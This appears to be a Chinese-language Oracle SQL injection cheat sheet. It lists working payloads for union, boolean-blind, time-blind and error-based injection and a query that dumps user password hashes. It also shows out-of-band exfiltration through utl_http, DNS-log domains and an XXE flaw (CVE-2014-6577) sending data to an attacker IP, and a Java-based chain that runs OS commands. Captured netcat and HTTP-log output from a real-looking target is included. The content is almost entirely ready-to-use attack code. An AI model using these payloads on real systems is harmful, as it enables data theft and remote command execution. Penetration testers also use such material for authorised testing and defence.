Oracle inject總結
獲取常見信息語句
獲取數據庫版本:
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
獲取操作系統版本:
SELECT banner FROM v$version where banner like 'TNS%';
獲取當前數據庫用戶:
SELECT user FROM dual;
select SYS_CONTEXT('USERENV','CURRENT_USER') from dual
獲取當前用戶權限:
SELECT * FROM session_privs;
獲取所有數據庫用戶密碼:
select name, password, spare4 from sys.user$
獲取DB文件路徑:
SELECT name FROM V$DATAFILE;
列出DBA賬戶:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’
服務器監聽IP
select utl_inaddr.get_host_address from dual
獲取當前的操作系統
SELECT dbms_utility.port_string FROM dual;
select member from v$logfile where rownum=1 //路徑也是可以判斷的
獲取服務器SID
select instance_name from v$instance
列出數據庫:
SELECT DISTINCT owner FROM all_tables; — 列出數據庫 (一個用戶一個)
Union injection
//基本都是大寫哈 判斷字段
order by
union select null,'null' 根據'' 判斷哪里是字符串
爆表
union select 1,(select table_name from user_tables where rownum=1) from dual
union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一個表')) from dual
爆字段
union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大寫的)') from dual
union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一個字段')) from dual
爆數據
union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --
連接多個字段用到的連接符號是||,在oracle數據庫中,concat函數只能連接兩個字符串
通過字段名查找對應的表:
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%USERNAME%'
Bool Blind injection
substr_ascil函數
and (select length(table_name) from user_tables where rownum=1)>1--
(select ascii(substr(table_name,1,1)) from user_tables where rownum=1)>100
(select length(column_name) from user_tab_columns where table_name=xxx and rownum=1)
(select ascii(substr(column_name,1,1)) from user_tab_columns where rownum=1 and table_name=xxx)>10
decode 函數
decode(條件,值 1,翻譯值 1,值 2,翻譯值 2,...值 n,翻譯值 n,缺省值)
【功能】根據條件返回相應值
測試當前用戶
select decode(user,'SYSTEM',1,0) from dual;
如果是system用戶則返回1,不是則返回0.
SQL> select decode(user,'SYSTEM',1,0) from dual;
DECODE(USER,'SYSTEM',1,0)
-------------------------
1
注入時decode的應用
判斷是否是SYSTEM用戶
' and 1=(select decode(user,'SYSTEM',1,0) from dual) --
也可以decode+substr組合
' and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --
case when then
其實和上面的decode差不多
SQL> select case when user='SCOTT' then 1 else 0 end from dual;
CASEWHENUSER='SCOTT'THEN1ELSE0END
---------------------------------
1
實際應用
' and 1=(select case when user='SCOTT' then 1 else 0 end from dual)--
instr函數
instr函數的使用,從一個字符串中查找指定子串的位置
and 1=(instr((select user from dual),'SYS')) --
當然也可以配合其他的來使用
Time blind injection
oracle的時間盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一種便是decode()與高耗時SQL操作的組合,當然也可以是case,if 等方式與高耗時操作的組合,這里的高耗時操作指的是,例如:(select count(*) from all_objects),對數據庫中大量數據進行查詢或其他處理的操作,這樣的操作會耗費較多的時間,然后通過這個方式來獲取數據。這種方式也適用於其他數據庫。
DBMS_PIPE.RECEIVE_MESSAGE()
DBMS_LOCK.SLEEP()函數可以讓一個過程休眠很多秒,但使用該函數存在許多限制。
首先,不能直接將該函數注入子查詢中,因為Oracle不支持堆疊查詢(stacked query)。其次,只有數據庫管理員才能使用DBMS_LOCK包。
這里講解一下Orcle包的概念
Oracle包可以分為兩部分,一部分是包的規范,相對於Java中的接口,另一部分是包體,相當於Java里面接口的實現類,實現具體的操作,所以Oracle提供了我們雨多的包,為開發者提供了很多便利。
在Oracle PL/SQL中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:
dbms_pipe.receive_message('RDS', 10)
DBMS_PIPE.RECEIVE_MESSAGE函數將為從RDS管道返回的數據等待10秒。默認情況下,允許以public權限執行該包。DBMS_LOCK.SLEEP()與之相反,它是一個可以用在SQL語句中的函數。
應用:
實際應用[結合SQLMAP語句分析]
AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),1,1))>1) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),10) ELSE 7238 END)
【DBMS_PIPE.RECEIVE_MESSAGE的理解】
來自官網的DBMS_PIPE.RECEIVE_MESSAGE語法:
DBMS_PIPE.RECEIVE_MESSAGE (
pipename IN VARCHAR2,
timeout IN INTEGER DEFAULT maxwait)
RETURN INTEGER;
可以暫時理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間)
Decode嵌套時間語句
and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --
DBMS_PIPE.RECEIVE_MESSAGE('a', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;
(select count(*) from all_objects) 會花費更多是時間去查詢所有數據庫的條目,所以以這種方式進行時間判斷依據,這是一個騷氣的方式。(類比OWASP測試指南中老hu機的案例)
'and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual)
Error injection
使用報錯注入需要使用類似 1=[報錯語句],1>[報錯語句],使用比較運算符,這樣的方式進行報錯注入
ctxsys.drithsx.sn()函數:
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
ctxsys.ctx_report.token_type()函數:
select ctxsys.ctx_report.token_type((select user from dual), '1') from dual;
xmltype()函數:
and (select xmltype('<:'%7c%7c(select user from dual)%7c%7c'>') from dual) is not null
dbms_xdb_version.checkin()函數:
select dbms_xdb_version.checkin((select user from dual)) from dual;
dbms_xdb_version.makeversioned()函數:
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
dbms_xdb_version.uncheckout()函數:
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
dbms_utility.sqlid_to_sqlhash()函數:
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
ordsys.ord_dicom.getmappingxpath()函數:
and (select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual) is not null
utl_inaddr.get_host_name()函數:
and (select utl_inaddr.get_host_name((select user from dual)) from dual) is not null
utl_inaddr.get_host_address()函數:
and (select utl_inaddr.get_host_address('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null
帶外通道(OOB:Out Of Band Channels)
使用一些除常規通道以外的替代的信道來請求服務器資源,一般使用 Oracle 發送HTTP或者DNS請求,將查詢結果帶到請求中,然后監測外網服務器的HTTP和DNS日志,從日志中獲取 sql 語句查詢的結果,通過這種方式將繁瑣的盲注轉換成可以直接簡便的獲取查詢結果的方式,尤其是基於時間的盲注,能極大地加快速度
utl_http.request()函數
檢測是否支持utl_http.request
and exists (select count(*) from all_objects where object_name='UTL_HTTP') --
反彈注入信息
and utl_http.request('http://域名或者ip:端口/'||(注入的語句))=1 --注意|| 注意轉碼%7C%7C
utl_inaddr.get_host_address()函數
and (select utl_inaddr.get_host_address((select user fromdual)||'xxx.dnslog.cn') from dual)is not null --
SYS.DBMS_LDAP.INIT()函數
and (select SYS.DBMS_LDAP.INIT((select user from dual)||'xxx.dnslog.cn') from dual)is not null --
httpuritype()函數
and (select httpuritype((select user from dual)%7c%7c'xxx.dnslog.cn').getclob() from dual)is not null --
執行系統命令
自己注意觀察回顯點就行 以及執行的命令 需要稍微改一下 比如第一個union及其字段。還有必須要有權限一般是dba才可以。
select null,null from dual union select 1,dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function osshell(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
select osshell('whoami') from dual;
Bind&XXE
存在ORACLE盲注的情況下遠程獲取數據的方式。其實和UTL_HTTP遠程獲取的方法差不多,只不過原理不同。CVE-2014-6577。影響范圍:11.2.0.3, 11.2.0.4, 12.1.0.1, 12.1.0.2【筆者測試10.x成功】
不排除那些已不受oracle支持的版本也存在此漏洞。攻擊者可以通過利用構造SQL語句來觸發XML解釋器發送一個HTTP或者FTP請求,從而帶來以下可能的威脅。
在遠程主機上用nc監聽21端口,當有連接后,輸入220
#!html
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@11.11.11.11/test"> %remote; %param1;]>'),'/l') from dual;
and
#!bash
[root@localhost httpd]# busybox nc -vvlp 21
listening on [::]:21 ...
connect to [::ffff:11.11.11.11]:21 from [::ffff:22.22.22.22]:37040 ([::ffff: 22.22.22.22]:37040)
220
USER XXXX _WEB_ XXXX
220
PASS bar
^Csent 8, rcvd 33
punt!
在斷開連接的同時,ORACLE會報以下錯誤
將把給出的POC變形,ftp請求換成http,
ORA-31000: 資源 'ftp://XXXX_WEB_XXXX:bar@11.11.11.11/test' 不是 XDB 方案文檔
ORA-06512: 在 "SYS.XMLTYPE", line 310
ORA-06512: 在 line 1
…………
and
#!html
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||user||'"> %remote; %param1;]>'),'/l') from dual
這樣不用啟動nc或者ftp服務端即可在http日志中收到請求:
#!bash
22.22.22.22 - - [27/Apr/2015:07:56:53 -0400] "GET /XXXX_WEB_XXXX HTTP/1.0" 404 294 "-" "-"
某個搜索功能存在SQL注入漏洞
可以判斷存在盲注,而且數據庫基本能確定為oracle
XXX%'and 233=233 '%'=' 頁面正常
XXX%'and 233=2333 '%'=' 頁面無結果
XXX%'and 1=(select 1 from dual) '%'=' 頁面正常
構造如下語句 服務器收到如下請求:
#!html
XXX%'and 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||(SELECT TABLE_NAME FROM (SELECT ROWNUM AS R,TABLE_NAME FROM USER_TABLES) WHERE R=1)||'"> %remote; %param1;]>'),'/l') from dual) and '%'='
and
22.22.22.22 - - [27/Apr/2015:22:00:46 -0400] "GET /EC_COMP_BINARY_INFO HTTP/1.0" 404 297 "-" "-"
還可以這么構造,一次返回數條結果
服務器收到如下請求:
對於結果中帶空白符或者其他特殊符號的,在此處Oracle並不會自動URL編碼,所以為了順利的獲得數據可以用oracle的自帶函數utl_raw.cast_to_raw()將結果轉換為HEX。
22.22.22.22 - - [27/Apr/2015:23:12:01 -0400] "GET /EC_COMP_BINARY_INFO////EC_COMP_BINARY_MAPPING HTTP/1.0" 404 323 "-" "-"
and
#!sql
XXX%'and 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||(SELECT utl_raw.cast_to_raw(BANNER) FROM (SELECT ROWNUM AS R,BANNER FROM v$version) WHERE R=1)||'////'||(SELECT utl_raw.cast_to_raw(BANNER) FROM (SELECT ROWNUM AS R,BANNER FROM v$version) WHERE R=2)||'"> %remote; %param1;]>'),'/l') from dual) and '%'='
收到的請求:經過HEX解碼可得
/Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - 64bit Production////PL/SQL Release 11.2.0.2.0 - Production
22.22.22.22 - - [28/Apr/2015:03:50:16 -0400] "GET /4F7261636C652044617461626173652031316720456E74657270726973652045646974696F6E2052656C656173652031312E322E302E322E30202D2036346269742050726F64756374696F6E////504C2F53514C2052656C656173652031312E322E302E322E30202D2050726F64756374696F6E HTTP/1.0" 404 510 "-" "-"